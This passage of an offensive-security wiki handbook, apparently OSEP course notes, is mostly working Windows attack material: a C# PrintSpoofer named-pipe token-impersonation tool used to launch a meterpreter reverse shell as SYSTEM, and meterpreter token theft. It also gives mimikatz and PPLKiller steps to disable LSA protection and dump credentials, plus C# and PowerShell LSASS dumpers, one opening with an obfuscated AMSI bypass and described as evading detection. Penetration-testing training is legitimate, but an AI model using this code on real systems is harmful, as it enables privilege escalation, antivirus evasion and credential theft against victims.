            public IntPtr hThread;&lt;br /&gt;
            public int dwProcessId;&lt;br /&gt;
            public int dwThreadId;&lt;br /&gt;
        }&lt;br /&gt;
        [StructLayout(LayoutKind.Sequential, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public struct STARTUPINFO&lt;br /&gt;
        {&lt;br /&gt;
            public Int32 cb;&lt;br /&gt;
            public string lpReserved;&lt;br /&gt;
            public string lpDesktop;&lt;br /&gt;
            public string lpTitle;&lt;br /&gt;
            public Int32 dwX;&lt;br /&gt;
            public Int32 dwY;&lt;br /&gt;
            public Int32 dwXSize;&lt;br /&gt;
            public Int32 dwYSize;&lt;br /&gt;
            public Int32 dwXCountChars;&lt;br /&gt;
            public Int32 dwYCountChars;&lt;br /&gt;
            public Int32 dwFillAttribute;&lt;br /&gt;
            public Int32 dwFlags;&lt;br /&gt;
            public Int16 wShowWindow;&lt;br /&gt;
            public Int16 cbReserved2;&lt;br /&gt;
            public IntPtr lpReserved2;&lt;br /&gt;
            public IntPtr hStdInput;&lt;br /&gt;
            public IntPtr hStdOutput;&lt;br /&gt;
            public IntPtr hStdError;&lt;br /&gt;
        }&lt;br /&gt;
        public enum CreationFlags&lt;br /&gt;
        {&lt;br /&gt;
            DefaultErrorMode = 0x04000000,&lt;br /&gt;
            NewConsole = 0x00000010,&lt;br /&gt;
            NewProcessGroup = 0x00000200,&lt;br /&gt;
            SeparateWOWVDM = 0x00000800,&lt;br /&gt;
            Suspended = 0x00000004,&lt;br /&gt;
            UnicodeEnvironment = 0x00000400,&lt;br /&gt;
            ExtendedStartupInfoPresent = 0x00080000&lt;br /&gt;
        }&lt;br /&gt;
        public enum LogonFlags&lt;br /&gt;
        {&lt;br /&gt;
            WithProfile = 1,&lt;br /&gt;
            NetCredentialsOnly&lt;br /&gt;
        }&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern IntPtr CreateNamedPipe(string lpName, uint dwOpenMode, uint dwPipeMode, uint nMaxInstances, uint nOutBufferSize, uint nInBufferSize, uint nDefaultTimeOut, IntPtr lpSecurityAttributes);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ConnectNamedPipe(IntPtr hNamedPipe, IntPtr lpOverlapped);&lt;br /&gt;
        [DllImport(&amp;quot;Advapi32.dll&amp;quot;)]&lt;br /&gt;
        static extern bool ImpersonateNamedPipeClient(IntPtr hNamedPipe);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool OpenThreadToken(IntPtr ThreadHandle, uint DesiredAccess, bool OpenAsSelf, out IntPtr TokenHandle);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr GetCurrentThread();&lt;br /&gt;
        [DllImport(&amp;quot;advapi32&amp;quot;, SetLastError = true, CharSet = CharSet.Unicode)]&lt;br /&gt;
        public static extern bool CreateProcessWithTokenW(IntPtr hToken, LogonFlags dwLogonFlags, string lpApplicationName, string lpCommandLine, CreationFlags dwCreationFlags, IntPtr lpEnvironment, string lpCurrentDirectory, [In] ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, CharSet = CharSet.Auto, SetLastError = true)]&lt;br /&gt;
        public extern static bool DuplicateTokenEx(IntPtr hExistingToken, uint dwDesiredAccess, IntPtr lpTokenAttributes, uint ImpersonationLevel, uint TokenType, out IntPtr phNewToken);&lt;br /&gt;
        [DllImport(&amp;quot;advapi32.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool RevertToSelf();&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern uint GetSystemDirectory([Out] StringBuilder lpBuffer, uint uSize);&lt;br /&gt;
        [DllImport(&amp;quot;userenv.dll&amp;quot;, SetLastError = true)]&lt;br /&gt;
        static extern bool CreateEnvironmentBlock(out IntPtr lpEnvironment, IntPtr hToken, bool bInherit);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Parse arguments (pipe name)&lt;br /&gt;
            if (args.Length != 2)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine(&amp;quot;Please enter the pipe name to be used and the binary to trigger as arguments.\nExample: .\\PrintSpoofer.exe \\\\.\\pipe\\test\\pipe\\spoolss c:\\windows\\tasks\\bin.exe&amp;quot;);&lt;br /&gt;
                return;&lt;br /&gt;
            }&lt;br /&gt;
            string pipeName = args[0];&lt;br /&gt;
            string binToRun = args[1];&lt;br /&gt;
            // Create our named pipe&lt;br /&gt;
            IntPtr hPipe = CreateNamedPipe(pipeName, PIPE_ACCESS_DUPLEX, PIPE_TYPE_BYTE | PIPE_WAIT, 10, 0x1000, 0x1000, 0, IntPtr.Zero);&lt;br /&gt;
            // Connect to our named pipe and wait for another client to connect&lt;br /&gt;
            Console.WriteLine(&amp;quot;Waiting for client to connect to named pipe...&amp;quot;);&lt;br /&gt;
            bool result = ConnectNamedPipe(hPipe, IntPtr.Zero);&lt;br /&gt;
            // Impersonate the token of the incoming connection&lt;br /&gt;
            result = ImpersonateNamedPipeClient(hPipe);&lt;br /&gt;
            // Open a handle on the impersonated token&lt;br /&gt;
            IntPtr tokenHandle;&lt;br /&gt;
            result = OpenThreadToken(GetCurrentThread(), TOKEN_ALL_ACCESS, false, out tokenHandle);&lt;br /&gt;
            // Duplicate the stolen token&lt;br /&gt;
            IntPtr sysToken = IntPtr.Zero;&lt;br /&gt;
            DuplicateTokenEx(tokenHandle, TOKEN_ALL_ACCESS, IntPtr.Zero, SECURITY_IMPERSONATION, TOKEN_PRIMARY, out sysToken);&lt;br /&gt;
            // Create an environment block for the non-interactive session&lt;br /&gt;
            IntPtr env = IntPtr.Zero;&lt;br /&gt;
            bool res = CreateEnvironmentBlock(out env, sysToken, false);&lt;br /&gt;
            // Get the impersonated identity and revert to self to ensure we have impersonation privs&lt;br /&gt;
            String name = WindowsIdentity.GetCurrent().Name;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Impersonated user is: {name}.&amp;quot;);&lt;br /&gt;
            RevertToSelf();&lt;br /&gt;
            // Get the system directory&lt;br /&gt;
            StringBuilder sbSystemDir = new StringBuilder(256);&lt;br /&gt;
            uint res1 = GetSystemDirectory(sbSystemDir, 256);&lt;br /&gt;
            // Spawn a new process with the duplicated token, a desktop session, and the created profile&lt;br /&gt;
            PROCESS_INFORMATION pInfo = new PROCESS_INFORMATION();&lt;br /&gt;
            STARTUPINFO sInfo = new STARTUPINFO();&lt;br /&gt;
            sInfo.cb = Marshal.SizeOf(sInfo);&lt;br /&gt;
            sInfo.lpDesktop = &amp;quot;WinSta0\\Default&amp;quot;;&lt;br /&gt;
            CreateProcessWithTokenW(sysToken, LogonFlags.WithProfile, null, binToRun, CreationFlags.UnicodeEnvironment, env, sbSystemDir.ToString(), ref sInfo, out pInfo);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Executed &#039;{binToRun}&#039; with impersonated token!&amp;quot;);&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 1 - Compile the code (PrintSpoofer.exe) above and compile a meterpreter reverse shell&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Transfer to target.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 2 - Start the&#039;&#039;&#039; &#039;&#039;&#039;PrintSpoofer.exe&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Specify the meterpreter binary&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
PrintSpoofer.exe \\.\pipe\test\pipe\spoolss C:windows\tasts\bin.exe&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 3 - Coerce Windows to authenticate&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
* Use SpoolSample.exe to authenticate.&lt;br /&gt;
&lt;br /&gt;
* When a file path is supplied to a Win32 API, directory separators are converted to a canonical form. Forward slashes (“/”) are converted to backward slashes (“\”). This process is known as file path normalization.&lt;br /&gt;
&lt;br /&gt;
* If &amp;lt;code&amp;gt;SpoolSample&amp;lt;/code&amp;gt; is provided with a pipe name containing a forward slash after the hostname (e.g., “appsrv01/test”), the spooler service appends the default name “pipe\spoolss” before processing.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
SpoolSample.exe appsrv01 appsrv01/pipe/test&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Step 4 - bin.exe executed in the context of impersonated token&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-2.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
==== Using Meterpreter to impersonate users ====&lt;br /&gt;
&lt;br /&gt;
* Using the meterpreter sesison with SYSTEM shell we can impersonate tokens without using mimikatz.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Steps&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load Incognito Extension&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
 meterpreter &amp;gt; load incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Display Available Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; help incognito&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Key Commands&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_group_user​ &amp;lt;/code&amp;gt;: Add a user to a global group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;add_localgroup_user&amp;lt;/code&amp;gt;​ : Add a user to a local group with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  &amp;lt;code&amp;gt;​add_user&amp;lt;/code&amp;gt;​ : Add a user with all tokens.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;impersonate_token&amp;lt;/code&amp;gt;​ : Impersonate a specified token.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;list_tokens&amp;lt;/code&amp;gt;​ : List tokens available under the current user context.&lt;br /&gt;
&lt;br /&gt;
*  ​&amp;lt;code&amp;gt;snarf_hashes&amp;lt;/code&amp;gt;​ : Capture challenge/response hashes for every token.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;List Unique User Tokens&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
  meterpreter &amp;gt; list_tokens -u&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Output&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Delegation Tokens (e.g.,  ​corp1\admin​ ,  ​NT AUTHORITY\SYSTEM​ , etc.)&lt;br /&gt;
&lt;br /&gt;
* Impersonation Tokens (e.g.,  ​NT AUTHORITY\ANONYMOUS LOGON​ )&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Impersonate a User Token&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
* Use the  ​impersonate_token​  command to impersonate a user through the Win32  ​ImpersonateLoggedOnUser​  API.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; impersonate_token corp1\\admin&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Verify Impersonation&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
meterpreter &amp;gt; getuid&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
=== Kerberos ===&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Domain Controller (DC)&#039;&#039;&#039;: Acts as a Key Distribution Center (KDC).&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Authentication Server&#039;&#039;&#039;: Service run by the DC.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ticket Granting Ticket (TGT)&#039;&#039;&#039;: Contains user info, domain, timestamp, client IP, and session key.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Service Principal Name (SPN)&#039;&#039;&#039;: Identifier for each instance of a service.&lt;br /&gt;
&lt;br /&gt;
==== Disable LSA protection and dump cached creds ====&lt;br /&gt;
&lt;br /&gt;
Download mimidrv 32bit or 64bit here [https://github.com/In3x0rabl3/OSEP/tree/main/Lateral_Movement/driver OSEP/Lateral_Movement/driver at main · In3x0rabl3/OSEP (github.com)]&lt;br /&gt;
&lt;br /&gt;
* Mimikatz is a tool used to extract and manipulate credentials, tokens, and privileges in Windows.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Local Security Authority (LSA) Protection&#039;&#039;&#039;: Protects the LSASS memory space where password hashes are cached.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Protected Processes Light (PPL)&#039;&#039;&#039;: Introduced from Windows 8 onwards, prevents a SYSTEM integrity process from accessing another SYSTEM integrity process with PPL enabled.&lt;br /&gt;
&lt;br /&gt;
* LSASS is part of the OS and runs as SYSTEM. SYSTEM or local administrator permissions are needed to access hashes stored on a target.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
# 1. Enable SeDebugPrivilege:&lt;br /&gt;
mimikatz # privilege::debug&lt;br /&gt;
# 2. Manually load the driver with the sc.exe Service Control application.&lt;br /&gt;
sc create mimidrv binPath=C:\\windows\\tasks\\mimidrv.sys type=kernel start=demand&lt;br /&gt;
sc start mimidrv&lt;br /&gt;
# 3. Load mimidrv.sys (https://github.com/ParrotSec/mimikatz/tree/master/x64) Driver (to disable PPL protection for LSASS):&lt;br /&gt;
# NOTE: Uploading the mimidrv.sys driver to the victim machine might trigger antivirus detections.&lt;br /&gt;
mimikatz # !+&lt;br /&gt;
# 4. Disable LSA Protection for LSASS:&lt;br /&gt;
mimikatz # !processprotect /process:lsass.exe /remove&lt;br /&gt;
# 5. Dump Credentials After Disabling LSA Protection:&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Using PPLKiller ====&lt;br /&gt;
&lt;br /&gt;
[https://github.com/RedCursorSecurityConsulting/PPLKiller GitHub - RedCursorSecurityConsulting/PPLKiller: Tool to bypass LSA Protection (aka Protected Process Light)]&lt;br /&gt;
&lt;br /&gt;
Tool to bypass LSA Protection (aka Protected Process Light)&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
1. Open PPLKiller.sln with Visual Studio 2019 and build a Release binary which will be saved in PPLKiller\x64\Release\PPLKiller.exe&lt;br /&gt;
2. You&#039;ll always want to run PPLKiller.exe /installDriver first to install the driver&lt;br /&gt;
3. Run an attack like PPLKiller.exe /disableLSAProtection&lt;br /&gt;
4. Cleanup with PPLKiller.exe /uninstallDriver&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Memory Dump with Mimikatz ====&lt;br /&gt;
&lt;br /&gt;
* Memory dumps allow for the extraction of sensitive information, such as credentials, from the LSASS process.&lt;br /&gt;
&lt;br /&gt;
* Mimikatz can be used to parse these dumps and extract the desired information.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Using Task Manager&#039;&#039;&#039;:&lt;br /&gt;
Right-click the task bar and select Task Manager.&lt;br /&gt;
&lt;br /&gt;
* Navigate to the Details tab.&lt;br /&gt;
&lt;br /&gt;
* Locate the  ​lsass.exe​  process.&lt;br /&gt;
&lt;br /&gt;
* Right-click it and choose &amp;quot;Create dump file&amp;quot;.&lt;br /&gt;
&lt;br /&gt;
* Note the location of the dump file from the popup.&lt;br /&gt;
&lt;br /&gt;
[[File:2023-10-image-5.png|thumb]]&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Ensure Compatibility&#039;&#039;&#039;:&lt;br /&gt;
When opening a dump file in Mimikatz, the target machine and the processing machine must have a matching OS and architecture. For example, if the dumped LSASS process was from a Windows 10 64-bit machine; we must also parse it on a Windows 10 or Windows 2016/2019 64-bit machine. However, processing the dump file requires neither an elevated command prompt nor privilege::debug.&lt;br /&gt;
&lt;br /&gt;
* &#039;&#039;&#039;Load and Parse the Dump&#039;&#039;&#039;:&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;bash&amp;quot;&amp;gt;&lt;br /&gt;
C:\Tools\Mimikatz&amp;gt; mimikatz.exe&lt;br /&gt;
mimikatz # sekurlsa::minidump lsass.dmp&lt;br /&gt;
mimikatz # sekurlsa::logonpasswords&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
* Creating a dump using Task Manager requires GUI access to the target machine.&lt;br /&gt;
&lt;br /&gt;
* While parsing the dump file with Mimikatz, there&#039;s no need for an elevated command prompt or the  ​privilege::debug​  command.&lt;br /&gt;
&lt;br /&gt;
* The technique does not require the presence of Mimikatz on the target machine.&lt;br /&gt;
&lt;br /&gt;
==== MiniDump ====&lt;br /&gt;
&lt;br /&gt;
* Developing a custom C# application for executing a memory dump, which can be parsed using Mimikatz.&lt;br /&gt;
&lt;br /&gt;
* Task Manager and ProcDump, when creating a dump file, utilize the Win32 &amp;lt;code&amp;gt;MiniDumpWriteDump&amp;lt;/code&amp;gt; API.&lt;br /&gt;
&lt;br /&gt;
* The goal is to create a C# application that replicates this functionality by invoking the same API.&lt;br /&gt;
&lt;br /&gt;
* This will probably avoid detection, since mimikatz is so well known and will trigger every signature.&lt;br /&gt;
&lt;br /&gt;
* Execute the application from an elevated command prompt to avoid  ​OpenProcess​  failure.&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;C# version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;csharp&amp;quot;&amp;gt;&lt;br /&gt;
using System;&lt;br /&gt;
using System.Diagnostics;&lt;br /&gt;
using System.IO;&lt;br /&gt;
using System.Runtime.InteropServices;&lt;br /&gt;
namespace MiniDump&lt;br /&gt;
{&lt;br /&gt;
    public class Program&lt;br /&gt;
    {&lt;br /&gt;
        static int MiniDumpWithFullMemory = 2;&lt;br /&gt;
        static UInt32 PROCESS_ALL_ACCESS = 0x001F0FFF;&lt;br /&gt;
        [DllImport(&amp;quot;Dbghelp.dll&amp;quot;)]&lt;br /&gt;
        static extern bool MiniDumpWriteDump(IntPtr hProcess, int ProcessId, IntPtr hFile, int DumpType, IntPtr ExceptionParam, IntPtr UserStreamParam, IntPtr CallbackParam);&lt;br /&gt;
        [DllImport(&amp;quot;kernel32.dll&amp;quot;)]&lt;br /&gt;
        static extern IntPtr OpenProcess(uint processAccess, bool bInheritHandle, int processId);&lt;br /&gt;
        public static void Main(string[] args)&lt;br /&gt;
        {&lt;br /&gt;
            // Get the PID of lsass.exe&lt;br /&gt;
            Process[] lsass = Process.GetProcessesByName(&amp;quot;lsass&amp;quot;);&lt;br /&gt;
            int lsass_pid = lsass[0].Id;&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got lsass.exe PID: {lsass_pid}.&amp;quot;);&lt;br /&gt;
            // Get a handle on LSASS&lt;br /&gt;
            IntPtr handle = OpenProcess(PROCESS_ALL_ACCESS, false, lsass_pid);&lt;br /&gt;
            Console.WriteLine($&amp;quot;Got a handle on lsass.exe: {handle}.&amp;quot;);&lt;br /&gt;
            // Dump LSASS process to file&lt;br /&gt;
            string filePath = &amp;quot;C:\\Windows\\tasks\\lsass.dmp&amp;quot;;&lt;br /&gt;
            FileStream dumpFile = new FileStream(filePath, FileMode.Create);&lt;br /&gt;
            bool dumped = MiniDumpWriteDump(handle, lsass_pid, dumpFile.SafeFileHandle.DangerousGetHandle(), MiniDumpWithFullMemory, IntPtr.Zero, IntPtr.Zero, IntPtr.Zero);&lt;br /&gt;
            if (dumped)&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Dumped LSASS memory to {filePath}.&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
            else&lt;br /&gt;
            {&lt;br /&gt;
                Console.WriteLine($&amp;quot;Error dumping LSASS memory: {Marshal.GetLastWin32Error()}&amp;quot;);&lt;br /&gt;
            }&lt;br /&gt;
        }&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&#039;&#039;&#039;Powershell Version&#039;&#039;&#039;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;syntaxhighlight lang=&amp;quot;powershell&amp;quot;&amp;gt;&lt;br /&gt;
# Bypass AMSI because we&#039;re cool&lt;br /&gt;
# Change this if the bypass dont work&lt;br /&gt;
[Ref].Assembly.GetType(&#039;System.Management.Automation.Amsi&#039;+[char]85+&#039;tils&#039;).GetField(&#039;ams&#039;+[char]105+&#039;InitFailed&#039;,&#039;NonPublic,Static&#039;).SetValue($null,$true)&lt;br /&gt;
# Utility functions&lt;br /&gt;
function LookupFunc {&lt;br /&gt;
    Param ($moduleName, $functionName)&lt;br /&gt;
    $assem = ([AppDomain]::CurrentDomain.GetAssemblies() |&lt;br /&gt;
    Where-Object { $_.GlobalAssemblyCache -And $_.Location.Split(&#039;\\&#039;)[-1].&lt;br /&gt;
    Equals(&#039;System.dll&#039;) }).GetType(&#039;Microsoft.Win32.UnsafeNativeMethods&#039;)&lt;br /&gt;
    $tmp=@()&lt;br /&gt;
    $assem.GetMethods() | ForEach-Object {If($_.Name -eq &amp;quot;GetProcAddress&amp;quot;) {$tmp+=$_}}&lt;br /&gt;
    return $tmp[0].Invoke($null, @(($assem.GetMethod(&#039;GetModuleHandle&#039;)).Invoke($null,&lt;br /&gt;
    @($moduleName)), $functionName))&lt;br /&gt;
}&lt;br /&gt;
function getDelegateType {&lt;br /&gt;
    Param (&lt;br /&gt;
    [Parameter(Position = 0, Mandatory = $True)] [Type[]] $func,&lt;br /&gt;
    [Parameter(Position = 1)] [Type] $delType = [Void]&lt;br /&gt;
    )&lt;br /&gt;
    $type = [AppDomain]::CurrentDomain.&lt;br /&gt;
    DefineDynamicAssembly((New-Object System.Reflection.AssemblyName(&#039;ReflectedDelegate&#039;)),&lt;br /&gt;
    [System.Reflection.Emit.AssemblyBuilderAccess]::Run).&lt;br /&gt;
    DefineDynamicModule(&#039;InMemoryModule&#039;, $false).&lt;br /&gt;
    DefineType(&#039;MyDelegateType&#039;, &#039;Class, Public, Sealed, AnsiClass, AutoClass&#039;,&lt;br /&gt;
    [System.MulticastDelegate])&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineConstructor(&#039;RTSpecialName, HideBySig, Public&#039;,&lt;br /&gt;
    [System.Reflection.CallingConventions]::Standard, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    $type.&lt;br /&gt;
    DefineMethod(&#039;Invoke&#039;, &#039;Public, HideBySig, NewSlot, Virtual&#039;, $delType, $func).&lt;br /&gt;
    SetImplementationFlags(&#039;Runtime, Managed&#039;)&lt;br /&gt;
    return $type.CreateType()&lt;br /&gt;
}&lt;br /&gt;
# Add dbghelp.dll and reflectively load the function while we&#039;re at it&lt;br /&gt;
# (somehow dbghelp.dll doesn&#039;t play nice with LookupFunc)&lt;br /&gt;
$MethodDefinition = @&#039;&lt;br /&gt;
[DllImport(&amp;quot;DbgHelp.dll&amp;quot;, CharSet = CharSet.Unicode)]&lt;br /&gt;
public static extern bool MiniDumpWriteDump(&lt;br /&gt;
    IntPtr hProcess,&lt;br /&gt;
    uint processId,&lt;br /&gt;
    IntPtr hFile,&lt;br /&gt;
    uint dumpType,&lt;br /&gt;
    IntPtr expParam,&lt;br /&gt;
    IntPtr userStreamParam,&lt;br /&gt;
    IntPtr callbackParam&lt;br /&gt;
    );&lt;br /&gt;
&#039;@&lt;br /&gt;
$dbghelp = Add-Type -MemberDefinition $MethodDefinition -Name &#039;dbghelp&#039; -Namespace &#039;Win32&#039; -PassThru&lt;br /&gt;
# Get LSASS PID&lt;br /&gt;
$lsassPid = Get-Process lsass | select -ExpandProperty Id&lt;br /&gt;
Write-Host(&amp;quot;Got lsass.exe PID: $lsassPid.&amp;quot;)&lt;br /&gt;
# Get a handle on LSASS&lt;br /&gt;
$handle = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer((LookupFunc kernel32.dll OpenProcess),&lt;br /&gt;
    (getDelegateType @([UInt32], [Bool], [Int])([IntPtr]))).Invoke(0x1F0FFF,$false,$lsassPid)&lt;br /&gt;
Write-Host(&amp;quot;Got handle on LSASS: $handle.&amp;quot;)&lt;br /&gt;
# Dump process memory to file&lt;br /&gt;
$filePath = &amp;quot;C:\Windows\Tasks\lsass.dmp&amp;quot;&lt;br /&gt;
$dumpFile = New-Object IO.FileStream $filePath,&#039;Create&#039;,&#039;Write&#039;,&#039;Read&#039;&lt;br /&gt;
$result = $dbghelp::MiniDumpWriteDump($handle, $lsassPid, $dumpFile.Handle, 2, [IntPtr]::Zero, [IntPtr]::Zero, [IntPtr]::Zero)&lt;br /&gt;
$dumpFile.Close()&lt;br /&gt;
if($result) {&lt;br /&gt;
   Write-Host(&amp;quot;Dumped LSASS memory to $filePath.&amp;quot;)&lt;br /&gt;
}else {&lt;br /&gt;
   Write-Host(&amp;quot;Error dumping LSASS memory.&amp;quot;)&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/syntaxhighlight&amp;gt;&lt;br /&gt;
[[Category:Handbooks]]&lt;/div&gt;</summary>
		<author><name>Administrator</name></author>
	</entry>
	<entry>
		<id>https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2357</id>
		<title>Handbook II - Advanced</title>
		<link rel="alternate" type="text/html" href="https://book.ghanim.no/index.php?title=Handbook_II_-_Advanced&amp;diff=2357"/>
		<updated>2026-03-16T11:28:32Z</updated>

		<summary type="html">&lt;p&gt;Administrator: /* AppLocker bypass using Aspnet_Compiler.exe */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;== Great websites ==&lt;br /&gt;
&lt;br /&gt;
{| class=&amp;quot;wikitable&amp;quot;&lt;br /&gt;
|-&lt;br /&gt;
! Name&lt;br /&gt;
! Link&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Sites&lt;br /&gt;
| [https://lots-project.com/ LOTS Project - Living Off Trusted Sites (lots-project.com)]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land&lt;br /&gt;
| [https://lolbas-project.github.io/ https://lolbas-project.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off Trusted Land C2&lt;br /&gt;
| [https://lolc2.github.io/ LOLC2]&lt;br /&gt;
|-&lt;br /&gt;
| GTFObins&lt;br /&gt;
| [https://gtfobins.github.io/ https://gtfobins.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living Off The Land Drivers&lt;br /&gt;
| [https://www.loldrivers.io/ LOLDrivers]&lt;br /&gt;
|-&lt;br /&gt;
| WADComs &lt;br /&gt;
| [https://wadcoms.github.io/ https://wadcoms.github.io/]&lt;br /&gt;
|-&lt;br /&gt;
| Living off the Foreign Land Cmdlets and Binaries&lt;br /&gt;
| [https://lofl-project.github.io/ LOFLCAB (lofl-project.github.io)]&lt;br /&gt;
|-&lt;br /&gt;
| Filesec&lt;br /&gt;
| [https://filesec.io/ Filesec.io]&lt;br /&gt;
|-&lt;br /&gt;
| MalAPI&lt;br /&gt;
| [https://malapi.io/ MalAPI.io]&lt;br /&gt;
|}&lt;br /&gt;
== Sources ==&lt;br /&gt;
[https://github.com/chvancooten/OSEP-Code-Snippets GitHub - chvancooten/OSEP-Code-Snippets: A repository with my notable code snippets for Offensive Security&#039;s PEN-300 (OSEP) course.]&lt;br /&gt;
Offsec Pen-300 PDF&lt;br /&gt;
== Important! ==&lt;br /&gt;
See this for a comprehensive guide on AV evasion with many different examples.&lt;br /&gt;
[https://book.ghanim.no/?p=2698 AV Evasion 101: Essential Techniques and Concepts – BOOK_GHANIM]&lt;br /&gt;
